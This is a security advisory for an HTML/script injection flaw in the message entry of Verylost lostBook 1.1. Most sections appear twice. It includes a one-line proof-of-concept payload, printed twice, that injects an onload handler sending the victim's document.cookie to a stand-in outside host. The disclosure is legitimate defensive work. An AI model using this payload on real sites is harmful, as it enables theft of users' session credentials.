Verylost LostBook Message Entry HTML Injection Vulnerability
BID:10825
Info
Verylost LostBook Message Entry HTML Injection Vulnerability
| Bugtraq ID: | 10825 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 29 2004 12:00AM |
| Updated: | Jul 29 2004 12:00AM |
| Credit: | Discovery of this issue is credited to Joseph Moniz <[email protected]>. |
| Vulnerable: |
Verylost lostBook 1.1 |
| Not Vulnerable: | |
Discussion
Verylost LostBook Message Entry HTML Injection Vulnerability
Reportedly Verylost lostBook is affected by an HTML injection vulnerability in its message entry functionality. This issue is due to a failure of the application to properly validate and sanitize user-supplied input before including it in dynamically generated web page content.
This may allow an attacker inject malicious HTML and script code into the application. An unsuspecting user viewing the post will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.
Reportedly Verylost lostBook is affected by an HTML injection vulnerability in its message entry functionality. This issue is due to a failure of the application to properly validate and sanitize user-supplied input before including it in dynamically generated web page content.
This may allow an attacker inject malicious HTML and script code into the application. An unsuspecting user viewing the post will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.
Exploit / POC
Verylost LostBook Message Entry HTML Injection Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
example.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
No exploit is required to leverage this issue. The following proof of concept has been provided:
example.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
Solution / Fix
Verylost LostBook Message Entry HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Verylost LostBook Message Entry HTML Injection Vulnerability
References:
References:
- lostBook Vendor Home Page (Verylost)
- lostBook v1.1 Javascript Execution (Joseph Moniz